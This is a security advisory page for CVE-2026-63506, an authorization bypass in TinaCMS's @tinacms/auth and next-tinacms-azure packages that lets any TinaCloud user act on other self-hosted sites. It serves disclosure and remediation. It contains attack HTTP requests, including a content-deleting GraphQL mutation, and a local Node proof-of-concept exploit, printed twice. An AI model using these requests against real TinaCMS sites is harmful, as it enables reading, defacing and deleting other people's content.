CVE-2026-63506: Tina [Broken Access Control] Letting Any Vulnerability

HIGH
Advisory Identifier: GHSA-g74q-6g2f-874x
CVSS 8.8
CWE-639
Published
Advisory Summary

CVE-2026-63506 is a HIGH (CVSS 8.8) [broken access control] letting any vulnerability (CWE-639: Authorization Bypass Through User-Controlled Key) affecting Tina libraries in the npm ecosystem. The issue involves [broken access control] letting any tinacloud user authorize against any self-hosted site. Remediation is available by upgrading affected packages to version 1.1.4, 15.0.1.

CVE-2026-63506 at a Glance

CVE Identifier CVE-2026-63506
GHSA Identifier GHSA-g74q-6g2f-874x
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-639: Authorization Bypass Through User-Controlled Key
Affected Product Tina
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-63506

To remediate this vulnerability, upgrade all affected Tina dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@tinacms/auth fixed: 1.1.4
npm install @tinacms/auth@1.1.4
next-tinacms-azure fixed: 15.0.1
npm install next-tinacms-azure@15.0.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @tinacms/auth

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-63506, inspect your project dependencies using npm:

npm ls @tinacms/auth

Analyze the terminal output to locate any version of Tina in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.1.4), your application is affected.

Note: The npm ls @tinacms/auth command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-639: Authorization Bypass Through User-Controlled Key, where the system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. In Tina, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `@tinacms/auth`'s `isAuthorized(req)` decides authorization by validating the caller's bearer token against `https://identity.tinajs.io/v2/apps/${req.query.clientID}/currentUser`, where the `clientID` comes from the request and is never compared to the site's own configured TinaCloud app id. The function answers "is this token a verified user of whatever app the caller named?" instead of "is this token a verified user of THIS site?" Any TinaCloud user can create their own free app, get a valid token for it, and send `?clientID=<their-own-app>` plus `Authorization: <their-own-token>` to a victim self-hosted site. The victim's `authorized` callback runs `const user = await isAuthorized(req); return user && user.verified`, which returns `true`, and the victim authorizes the attacker. The attacker holds no account on the victim and needs no victim interaction. With the media handlers this grants read, upload, and delete on the victim's media bucket. When the backend uses `TinaCloudBackendAuthProvider()` (the default the `tinacms init` wizard generates for TinaCloud auth), it grants full GraphQL read, write, and delete of the victim's content. ## Affected code (confirmed at `5a6839f`) `packages/@tinacms/auth/src/index.ts:71-88` reads the `clientID` from the request: ```ts export const isAuthorized = async (req: NextApiRequest) => { const clientID = req.query.clientID; // attacker-controlled const token = req.headers.authorization; // attacker-controlled if (typeof clientID === 'string' && typeof token === 'string') { return await isUserAuthorized({ clientID, token }); } return undefined; }; ``` `index.ts:16-43` sends that caller-chosen `clientID` straight to the identity server, and returns the user on `200`: ```ts const tinaCloudRes = await fetch( `https://identity.tinajs.io/v2/apps/${clientID}/currentUser`, { headers: new Headers({ 'Content-Type': 'application/json', authorization: token }), method: 'GET' } ); if (tinaCloudRes.ok) { return await tinaCloudRes.json(); } ``` `index.ts:118-135` (`TinaCloudBackendAuthProvider`) gates only on `verified`, which reflects the attacker's own email verification: ```ts isAuthorized: async (req, _res) => { const user = await isAuthorized(req as NextApiRequest); if (user && user.verified) return { isAuthorized: true }; return { isAuthorized: false, errorCode: 401, errorMessage: 'Unauthorized' }; }, ``` Every media-store README wires the same gate (`next-tinacms-cloudinary/README.md:113-122`, identical in `s3` and `dos`): ```ts authorized: async (req, _res) => { if (process.env.NEXT_PUBLIC_USE_LOCAL_CLIENT === '1') return true; const user = await isAuthorized(req); return user && user.verified; // no clientID === <this site's app> check } ``` The bug is duplicated in `next-tinacms-azure/src/auth.ts:34-51` (`req.nextUrl.searchParams.get('clientID')`). Downstream nothing pins the site's `clientID`: `@tinacms/datalayer/src/backend/index.ts:201` gates on the boolean, and `next-tinacms-cloudinary/src/handlers.ts:36` returns 401 only when the callback is false. The `tinacms init` TinaCloud path ships this by default (`@tinacms/cli/.../prompts/authProvider.ts:17` -> `TinaCloudBackendAuthProvider()`, used in `templates/tinaNextRoute.tsx:21-24` for every non-local deployment). ## Steps to reproduce (real target) **Setup:** attacker has one free TinaCloud account with one app (`clientID = ATTACKER_APP`, token `T_attacker`) and no victim account. Victim is any self-hosted TinaCMS site using `@tinacms/auth`. Media bucket (read; the same gate covers `POST` upload and `DELETE`): ``` GET /api/cloudinary/media?clientID=ATTACKER_APP HTTP/1.1 Host: victim.example Authorization: T_attacker ``` Content backend, when `TinaCloudBackendAuthProvider` is used: ``` POST /api/tina/gql?clientID=ATTACKER_APP HTTP/1.1 Host: victim.example Authorization: T_attacker Content-Type: application/json {"query":"mutation($c:String!,$r:String!){deleteDocument(collection:$c,relativePath:$r){__typename}}","variables":{"c":"post","r":"hello.md"}} ``` **Expected:** 401/403 for a user with no access to `victim.example`. **Actual:** 200, because authorization is bound to the attacker-supplied `clientID`. ## Proof of concept (self-contained, zero dependencies) Save the file below as `poc.js` and run `node poc.js` (Node >= 18). It runs the package's own `isAuthorized` / `isUserAuthorized` (TypeScript types removed; the hard-coded `identity.tinajs.io` base read from an env var so it points at a local identity model) behind the verbatim media-store `authorized` callback. The identity model scopes tokens to apps correctly and is not itself vulnerable; the bug is that the victim lets the caller choose which app to validate against. ```js /** * Self-contained PoC — @tinacms/auth cross-tenant authorization bypass * Audited commit: 5a6839f95ca60d1b9f4032a3bed1ae4a338a4787 (@tinacms/auth 1.1.3) * * Zero dependencies. Run with: node poc.js (Node >= 18 for global fetch) * * The two functions below are copied from packages/@tinacms/auth/src/index.ts. * The ONLY changes are: TypeScript types removed, and the hard-coded * https://identity.tinajs.io base read from IDENTITY_BASE so it can point at the * local identity model. req.query.clientID, the currentUser call, and the * `user && user.verified` gate are byte-for-byte the original logic. */ const http = require('http'); const IDENTITY_PORT = 18099; const VICTIM_PORT = 19090; process.env.IDENTITY_BASE = `http://127.0.0.1:${IDENTITY_PORT}`; /* ===== verbatim from @tinacms/auth/src/index.ts (types stripped) ===== */ const isUserAuthorized = async (args) => { const clientID = args.clientID; const token = args.token; try { const tinaCloudRes = await fetch( `${process.env.IDENTITY_BASE || 'https://identity.tinajs.io'}/v2/apps/${clientID}/currentUser`, { headers: new Headers({ 'Content-Type': 'application/json', authorization: token }), method: 'GET', } ); if (tinaCloudRes.ok) { const user = await tinaCloudRes.json(); return user; } return; } catch (e) { console.error(e); throw e; } }; const isAuthorized = async (req) => { const clientID = req.query.clientID; // <-- attacker-controlled const token = req.headers.authorization; // <-- attacker-controlled if (typeof clientID === 'string' && typeof token === 'string') { return await isUserAuthorized({ clientID, token }); } return undefined; }; /* ===== identity model: a token grants access to the app its owner owns ===== This is NOT the vulnerable part. It scopes tokens to apps correctly. The bug is that the victim lets the caller choose which app to validate against. */ const TOKEN_FOR = { 'victim-app': 'valid-token-for-victim-app', 'attacker-app': 'valid-token-for-attacker-app', }; const USER_FOR = { 'victim-app': { id: 'u-victim', email: 'owner@victim.example', verified: true, role: 'admin' }, 'attacker-app': { id: 'u-attacker', email: 'attacker@evil.example', verified: true, role: 'admin' }, }; const identity = http.createServer((req, res) => { const m = req.url.match(/^\/v2\/apps\/([^/]+)\/currentUser$/); if (!m) { res.writeHead(404); return res.end('nf'); } const app = decodeURIComponent(m[1]); if (TOKEN_FOR[app] && req.headers['authorization'] === TOKEN_FOR[app]) { res.writeHead(200, { 'Content-Type': 'application/json' }); return res.end(JSON.stringify(USER_FOR[app])); } res.writeHead(401, { 'Content-Type': 'application/json' }); return res.end(JSON.stringify({ message: 'unauthorized for this app' })); }); /* ===== victim site (own clientID = victim-app), verbatim media-store README callback ===== */ const authorized = async (req) => { const user = await isAuthorized(req); return user && user.verified; // never checks req.query.clientID === victim-app }; const victim = http.createServer(async (req, res) => { const u = new URL(req.url, `http://127.0.0.1:${VICTIM_PORT}`); req.query = Object.fromEntries(u.searchParams.entries()); if (!u.pathname.startsWith('/api/cloudinary/media')) { res.writeHead(404); return res.end('nf'); } if (!(await authorized(req))) { res.writeHead(401, { 'Content-Type': 'application/json' }); return res.end(JSON.stringify({ message: 'sorry this user is unauthorized' })); } res.writeHead(200, { 'Content-Type': 'application/json' }); return res.end(JSON.stringify({ authorized: true, site: 'victim-app', media: ['victim/private/contract.pdf', 'victim/private/customers.csv'] })); }); /* ===== driver ===== */ function call(clientID, token) { return new Promise((resolve) => { const r = http.request({ host: '127.0.0.1', port: VICTIM_PORT, path: `/api/cloudinary/media?clientID=${encodeURIComponent(clientID)}`, method: 'GET', headers: { authorization: token } }, (res) => { let b = ''; res.on('data', (c) => (b += c)); res.on('end', () => resolve({ status: res.statusCode, body: b })); }); r.on('error', (e) => resolve({ status: 0, body: String(e) })); r.end(); }); } (async () => { await new Promise((r) => identity.listen(IDENTITY_PORT, '127.0.0.1', r)); await new Promise((r) => victim.listen(VICTIM_PORT, '127.0.0.1', r)); const c1 = await call('victim-app', 'valid-token-for-victim-app'); console.log('[CONTROL 1 legit victim user ] clientID=victim-app token=victim ->', c1.status, c1.body); const c2 = await call('victim-app', 'valid-token-for-attacker-app'); console.log('[CONTROL 2 attacker token, victim ] clientID=victim-app token=attacker ->', c2.status, c2.body); const atk = await call('attacker-app', 'valid-token-for-attacker-app'); console.log('[ATTACK attacker own app+token ] clientID=attacker-app token=attacker ->', atk.status, atk.body); const bug = c1.status === 200 && c2.status === 401 && atk.status === 200; console.log('\nVERDICT:', bug ? 'VULNERABLE — attacker authorized on victim site with credentials only for their own app.' : 'NOT REPRODUCED'); identity.close(); victim.close(); process.exit(bug ? 0 : 1); })(); ``` Output: ``` [CONTROL 1 legit victim user ] clientID=victim-app token=victim -> 200 {"authorized":true,"site":"victim-app","media":[...]} [CONTROL 2 attacker token, victim ] clientID=victim-app token=attacker -> 401 {"message":"sorry this user is unauthorized"} [ATTACK attacker own app+token ] clientID=attacker-app token=attacker -> 200 {"authorized":true,"site":"victim-app","media":[...]} VERDICT: VULNERABLE - attacker authorized on victim site with credentials only for their own app. ``` CONTROL 1 (200) shows the identity model is faithful, not a blanket allow. CONTROL 2 (401) shows the attacker cannot reach the victim's app with their own token. ATTACK (200) shows that naming their own app id, which their own token matches, passes the victim's gate and returns the victim's private media. I verified the full chain in source at the audited commit and reproduced the code logic deterministically with the PoC above. I did not run the end-to-end attack against production `identity.tinajs.io` with two real accounts and a live deployment; that step needs two real accounts and a deployment. The one assumption it rests on, that `GET /v2/apps/<attacker-app>/currentUser` with the attacker's own token returns `200` + `verified:true`, is the normal behavior of an app owner's own session. ## Impact An attacker with a free TinaCloud account reaches editor-level control of unrelated tenants: - **Media handlers:** list and read media, upload arbitrary objects (`next-tinacms-dos` writes `ACL: public-read`, usable to host malware or phishing under the victim's CDN), and delete media by key. - **`TinaCloudBackendAuthProvider` backend:** arbitrary GraphQL. Read every document, `createDocument` / `updateDocument` to deface or inject content that deploys to production, and `deleteDocument` to destroy content. The attacker scripts requests with their own token and `clientID=<own app>` against known TinaCMS self-hosted endpoints, so it scales across deployments. ## Fix Bind the decision to the site's own configured app id instead of the request value. ```diff - export const isAuthorized = async (req: NextApiRequest) => { - const clientID = req.query.clientID; - const token = req.headers.authorization; + export const isAuthorized = async (req: NextApiRequest, expectedClientID?: string) => { + const requestClientID = req.query.clientID; + const token = req.headers.authorization; + const clientID = expectedClientID ?? process.env.NEXT_PUBLIC_TINA_CLIENT_ID; + if (expectedClientID && requestClientID && requestClientID !== expectedClientID) { + return undefined; // refuse a cross-tenant clientID + } if (typeof clientID === 'string' && typeof token === 'string') { return await isUserAuthorized({ clientID, token }); } return undefined; }; ``` Thread the site's configured `clientID` into `TinaCloudBackendAuthProvider()` and the media handler config, require `isUserAuthorized` to use it rather than `req.query.clientID`, apply the same change to `next-tinacms-azure/src/auth.ts`, and update the media-store READMEs so integrators stop reintroducing the request-driven `clientID`.

CVE-2026-63506 Affected Tina Versions

2 component(s)
Fixed Versions:
1.1.415.0.1
Product / Package Ecosystem Affected Versions Fixed Version
@tinacms/auth
npm
< 1.1.4
1.1.4
next-tinacms-azure
npm
< 15.0.1
15.0.1

References

Frequently Asked Questions

What is CVE-2026-63506?
CVE-2026-63506 is a security vulnerability in Tina involving [Broken Access Control] letting any TinaCloud user authorize against any self-hosted site under CWE-639: Authorization Bypass Through User-Controlled Key.
Which Tina versions are affected?
Affected versions include releases prior to 1.1.4, 15.0.1 across affected packages: @tinacms/auth, next-tinacms-azure.
What version fixes CVE-2026-63506?
Upgrading to 1.1.4, 15.0.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @tinacms/auth affected?
Yes, @tinacms/auth is affected in releases prior to 1.1.4. Upgrade your dependency to 1.1.4 or later.
Is next-tinacms-azure affected?
Yes, next-tinacms-azure is affected in releases prior to 15.0.1. Upgrade your dependency to 15.0.1 or later.
What is the CVSS score of CVE-2026-63506?
CVE-2026-63506 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-63506?
CVE-2026-63506 is classified under CWE-639: Authorization Bypass Through User-Controlled Key (The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.).
How can I check npm dependencies for CVE-2026-63506?
Run the dependency tree command: 'npm ls @tinacms/auth'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g74q-6g2f-874x",
  "modified" : "2026-09-17T14:59:00Z",
  "published" : "2026-09-17T14:59:00Z",
  "aliases" : [ "CVE-2026-63506" ],
  "summary" : "Tina: [Broken Access Control] letting any TinaCloud user authorize against any self-hosted site",
  "details" : "## Summary\n \n`@tinacms/auth`'s `isAuthorized(req)` decides authorization by validating the caller's bearer token against `https://identity.tinajs.io/v2/apps/${req.query.clientID}/currentUser`, where the `clientID` comes from the request and is never compared to the site's own configured TinaCloud app id. The function answers \"is this token a verified user of whatever app the caller named?\" instead of \"is this token a verified user of THIS site?\"\n \nAny TinaCloud user can create their own free app, get a valid token for it, and send `?clientID=<their-own-app>` plus `Authorization: <their-own-token>` to a victim self-hosted site. The victim's `authorized` callback runs `const user = await isAuthorized(req); return user && user.verified`, which returns `true`, and the victim authorizes the attacker.\n \nThe attacker holds no account on the victim and needs no victim interaction. With the media handlers this grants read, upload, and delete on the victim's media bucket. When the backend uses `TinaCloudBackendAuthProvider()` (the default the `tinacms init` wizard generates for TinaCloud auth), it grants full GraphQL read, write, and delete of the victim's content.\n\n## Affected code (confirmed at `5a6839f`)\n \n`packages/@tinacms/auth/src/index.ts:71-88` reads the `clientID` from the request:\n \n```ts\nexport const isAuthorized = async (req: NextApiRequest) => {\n  const clientID = req.query.clientID;     // attacker-controlled\n  const token = req.headers.authorization; // attacker-controlled\n  if (typeof clientID === 'string' && typeof token === 'string') {\n    return await isUserAuthorized({ clientID, token });\n  }\n  return undefined;\n};\n```\n \n`index.ts:16-43` sends that caller-chosen `clientID` straight to the identity server, and returns the user on `200`:\n \n```ts\nconst tinaCloudRes = await fetch(\n  `https://identity.tinajs.io/v2/apps/${clientID}/currentUser`,\n  { headers: new Headers({ 'Content-Type': 'application/json', authorization: token }), method: 'GET' }\n);\nif (tinaCloudRes.ok) { return await tinaCloudRes.json(); }\n```\n \n`index.ts:118-135` (`TinaCloudBackendAuthProvider`) gates only on `verified`, which reflects the attacker's own email verification:\n \n```ts\nisAuthorized: async (req, _res) => {\n  const user = await isAuthorized(req as NextApiRequest);\n  if (user && user.verified) return { isAuthorized: true };\n  return { isAuthorized: false, errorCode: 401, errorMessage: 'Unauthorized' };\n},\n```\n \nEvery media-store README wires the same gate (`next-tinacms-cloudinary/README.md:113-122`, identical in `s3` and `dos`):\n \n```ts\nauthorized: async (req, _res) => {\n  if (process.env.NEXT_PUBLIC_USE_LOCAL_CLIENT === '1') return true;\n  const user = await isAuthorized(req);\n  return user && user.verified;   // no clientID === <this site's app> check\n}\n```\n \nThe bug is duplicated in `next-tinacms-azure/src/auth.ts:34-51` (`req.nextUrl.searchParams.get('clientID')`). Downstream nothing pins the site's `clientID`: `@tinacms/datalayer/src/backend/index.ts:201` gates on the boolean, and `next-tinacms-cloudinary/src/handlers.ts:36` returns 401 only when the callback is false. The `tinacms init` TinaCloud path ships this by default (`@tinacms/cli/.../prompts/authProvider.ts:17` -> `TinaCloudBackendAuthProvider()`, used in `templates/tinaNextRoute.tsx:21-24` for every non-local deployment).\n \n## Steps to reproduce (real target)\n \n**Setup:** attacker has one free TinaCloud account with one app (`clientID = ATTACKER_APP`, token `T_attacker`) and no victim account. Victim is any self-hosted TinaCMS site using `@tinacms/auth`.\n \nMedia bucket (read; the same gate covers `POST` upload and `DELETE`):\n \n```\nGET /api/cloudinary/media?clientID=ATTACKER_APP HTTP/1.1\nHost: victim.example\nAuthorization: T_attacker\n```\n \nContent backend, when `TinaCloudBackendAuthProvider` is used:\n \n```\nPOST /api/tina/gql?clientID=ATTACKER_APP HTTP/1.1\nHost: victim.example\nAuthorization: T_attacker\nContent-Type: application/json\n \n{\"query\":\"mutation($c:String!,$r:String!){deleteDocument(collection:$c,relativePath:$r){__typename}}\",\"variables\":{\"c\":\"post\",\"r\":\"hello.md\"}}\n```\n \n**Expected:** 401/403 for a user with no access to `victim.example`.\n**Actual:** 200, because authorization is bound to the attacker-supplied `clientID`.\n \n## Proof of concept (self-contained, zero dependencies)\n \nSave the file below as `poc.js` and run `node poc.js` (Node >= 18). It runs the package's own `isAuthorized` / `isUserAuthorized` (TypeScript types removed; the hard-coded `identity.tinajs.io` base read from an env var so it points at a local identity model) behind the verbatim media-store `authorized` callback. The identity model scopes tokens to apps correctly and is not itself vulnerable; the bug is that the victim lets the caller choose which app to validate against.\n \n```js\n/**\n * Self-contained PoC — @tinacms/auth cross-tenant authorization bypass\n * Audited commit: 5a6839f95ca60d1b9f4032a3bed1ae4a338a4787 (@tinacms/auth 1.1.3)\n *\n * Zero dependencies. Run with:  node poc.js   (Node >= 18 for global fetch)\n *\n * The two functions below are copied from packages/@tinacms/auth/src/index.ts.\n * The ONLY changes are: TypeScript types removed, and the hard-coded\n * https://identity.tinajs.io base read from IDENTITY_BASE so it can point at the\n * local identity model. req.query.clientID, the currentUser call, and the\n * `user && user.verified` gate are byte-for-byte the original logic.\n */\n \nconst http = require('http');\n \nconst IDENTITY_PORT = 18099;\nconst VICTIM_PORT = 19090;\nprocess.env.IDENTITY_BASE = `http://127.0.0.1:${IDENTITY_PORT}`;\n \n/* ===== verbatim from @tinacms/auth/src/index.ts (types stripped) ===== */\n \nconst isUserAuthorized = async (args) => {\n  const clientID = args.clientID;\n  const token = args.token;\n  try {\n    const tinaCloudRes = await fetch(\n      `${process.env.IDENTITY_BASE || 'https://identity.tinajs.io'}/v2/apps/${clientID}/currentUser`,\n      {\n        headers: new Headers({ 'Content-Type': 'application/json', authorization: token }),\n        method: 'GET',\n      }\n    );\n    if (tinaCloudRes.ok) {\n      const user = await tinaCloudRes.json();\n      return user;\n    }\n    return;\n  } catch (e) {\n    console.error(e);\n    throw e;\n  }\n};\n \nconst isAuthorized = async (req) => {\n  const clientID = req.query.clientID;       // <-- attacker-controlled\n  const token = req.headers.authorization;   // <-- attacker-controlled\n  if (typeof clientID === 'string' && typeof token === 'string') {\n    return await isUserAuthorized({ clientID, token });\n  }\n  return undefined;\n};\n \n/* ===== identity model: a token grants access to the app its owner owns =====\n   This is NOT the vulnerable part. It scopes tokens to apps correctly. The bug\n   is that the victim lets the caller choose which app to validate against.     */\n \nconst TOKEN_FOR = {\n  'victim-app': 'valid-token-for-victim-app',\n  'attacker-app': 'valid-token-for-attacker-app',\n};\nconst USER_FOR = {\n  'victim-app': { id: 'u-victim', email: 'owner@victim.example', verified: true, role: 'admin' },\n  'attacker-app': { id: 'u-attacker', email: 'attacker@evil.example', verified: true, role: 'admin' },\n};\nconst identity = http.createServer((req, res) => {\n  const m = req.url.match(/^\\/v2\\/apps\\/([^/]+)\\/currentUser$/);\n  if (!m) { res.writeHead(404); return res.end('nf'); }\n  const app = decodeURIComponent(m[1]);\n  if (TOKEN_FOR[app] && req.headers['authorization'] === TOKEN_FOR[app]) {\n    res.writeHead(200, { 'Content-Type': 'application/json' });\n    return res.end(JSON.stringify(USER_FOR[app]));\n  }\n  res.writeHead(401, { 'Content-Type': 'application/json' });\n  return res.end(JSON.stringify({ message: 'unauthorized for this app' }));\n});\n \n/* ===== victim site (own clientID = victim-app), verbatim media-store README callback ===== */\n \nconst authorized = async (req) => {\n  const user = await isAuthorized(req);\n  return user && user.verified;             // never checks req.query.clientID === victim-app\n};\nconst victim = http.createServer(async (req, res) => {\n  const u = new URL(req.url, `http://127.0.0.1:${VICTIM_PORT}`);\n  req.query = Object.fromEntries(u.searchParams.entries());\n  if (!u.pathname.startsWith('/api/cloudinary/media')) { res.writeHead(404); return res.end('nf'); }\n  if (!(await authorized(req))) {\n    res.writeHead(401, { 'Content-Type': 'application/json' });\n    return res.end(JSON.stringify({ message: 'sorry this user is unauthorized' }));\n  }\n  res.writeHead(200, { 'Content-Type': 'application/json' });\n  return res.end(JSON.stringify({ authorized: true, site: 'victim-app',\n    media: ['victim/private/contract.pdf', 'victim/private/customers.csv'] }));\n});\n \n/* ===== driver ===== */\n \nfunction call(clientID, token) {\n  return new Promise((resolve) => {\n    const r = http.request({ host: '127.0.0.1', port: VICTIM_PORT,\n      path: `/api/cloudinary/media?clientID=${encodeURIComponent(clientID)}`,\n      method: 'GET', headers: { authorization: token } }, (res) => {\n      let b = ''; res.on('data', (c) => (b += c));\n      res.on('end', () => resolve({ status: res.statusCode, body: b }));\n    });\n    r.on('error', (e) => resolve({ status: 0, body: String(e) })); r.end();\n  });\n}\n \n(async () => {\n  await new Promise((r) => identity.listen(IDENTITY_PORT, '127.0.0.1', r));\n  await new Promise((r) => victim.listen(VICTIM_PORT, '127.0.0.1', r));\n \n  const c1 = await call('victim-app', 'valid-token-for-victim-app');\n  console.log('[CONTROL 1  legit victim user      ] clientID=victim-app   token=victim   ->', c1.status, c1.body);\n \n  const c2 = await call('victim-app', 'valid-token-for-attacker-app');\n  console.log('[CONTROL 2  attacker token, victim ] clientID=victim-app   token=attacker ->', c2.status, c2.body);\n \n  const atk = await call('attacker-app', 'valid-token-for-attacker-app');\n  console.log('[ATTACK     attacker own app+token ] clientID=attacker-app token=attacker ->', atk.status, atk.body);\n \n  const bug = c1.status === 200 && c2.status === 401 && atk.status === 200;\n  console.log('\\nVERDICT:', bug\n    ? 'VULNERABLE — attacker authorized on victim site with credentials only for their own app.'\n    : 'NOT REPRODUCED');\n  identity.close(); victim.close();\n  process.exit(bug ? 0 : 1);\n})();\n```\n \nOutput:\n \n```\n[CONTROL 1  legit victim user      ] clientID=victim-app   token=victim   -> 200 {\"authorized\":true,\"site\":\"victim-app\",\"media\":[...]}\n[CONTROL 2  attacker token, victim ] clientID=victim-app   token=attacker -> 401 {\"message\":\"sorry this user is unauthorized\"}\n[ATTACK     attacker own app+token ] clientID=attacker-app token=attacker -> 200 {\"authorized\":true,\"site\":\"victim-app\",\"media\":[...]}\n \nVERDICT: VULNERABLE - attacker authorized on victim site with credentials only for their own app.\n```\n \nCONTROL 1 (200) shows the identity model is faithful, not a blanket allow. CONTROL 2 (401) shows the attacker cannot reach the victim's app with their own token. ATTACK (200) shows that naming their own app id, which their own token matches, passes the victim's gate and returns the victim's private media.\n \nI verified the full chain in source at the audited commit and reproduced the code logic deterministically with the PoC above. I did not run the end-to-end attack against production `identity.tinajs.io` with two real accounts and a live deployment; that step needs two real accounts and a deployment. The one assumption it rests on, that `GET /v2/apps/<attacker-app>/currentUser` with the attacker's own token returns `200` + `verified:true`, is the normal behavior of an app owner's own session.\n\n## Impact\n \nAn attacker with a free TinaCloud account reaches editor-level control of unrelated tenants:\n \n- **Media handlers:** list and read media, upload arbitrary objects (`next-tinacms-dos` writes `ACL: public-read`, usable to host malware or phishing under the victim's CDN), and delete media by key.\n- **`TinaCloudBackendAuthProvider` backend:** arbitrary GraphQL. Read every document, `createDocument` / `updateDocument` to deface or inject content that deploys to production, and `deleteDocument` to destroy content.\nThe attacker scripts requests with their own token and `clientID=<own app>` against known TinaCMS self-hosted endpoints, so it scales across deployments.\n \n## Fix\n \nBind the decision to the site's own configured app id instead of the request value.\n \n```diff\n- export const isAuthorized = async (req: NextApiRequest) => {\n-   const clientID = req.query.clientID;\n-   const token = req.headers.authorization;\n+ export const isAuthorized = async (req: NextApiRequest, expectedClientID?: string) => {\n+   const requestClientID = req.query.clientID;\n+   const token = req.headers.authorization;\n+   const clientID = expectedClientID ?? process.env.NEXT_PUBLIC_TINA_CLIENT_ID;\n+   if (expectedClientID && requestClientID && requestClientID !== expectedClientID) {\n+     return undefined; // refuse a cross-tenant clientID\n+   }\n    if (typeof clientID === 'string' && typeof token === 'string') {\n      return await isUserAuthorized({ clientID, token });\n    }\n    return undefined;\n  };\n```\n \nThread the site's configured `clientID` into `TinaCloudBackendAuthProvider()` and the media handler config, require `isUserAuthorized` to use it rather than `req.query.clientID`, apply the same change to `next-tinacms-azure/src/auth.ts`, and update the media-store READMEs so integrators stop reintroducing the request-driven `clientID`.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@tinacms/auth"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.1.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.1.3"
    }
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "next-tinacms-azure"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "15.0.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 15.0.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/security/advisories/GHSA-g74q-6g2f-874x"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-63506"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/pull/7168"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/commit/0a927a4f8d228dd05ee7ca4be32899bc190e73af"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/tinacms/tinacms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/releases/tag/@tinacms/auth@1.1.4"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/releases/tag/next-tinacms-azure@15.0.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-639" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-17T14:59:00Z",
    "nvd_published_at" : "2026-09-16T21:17:13Z"
  }
}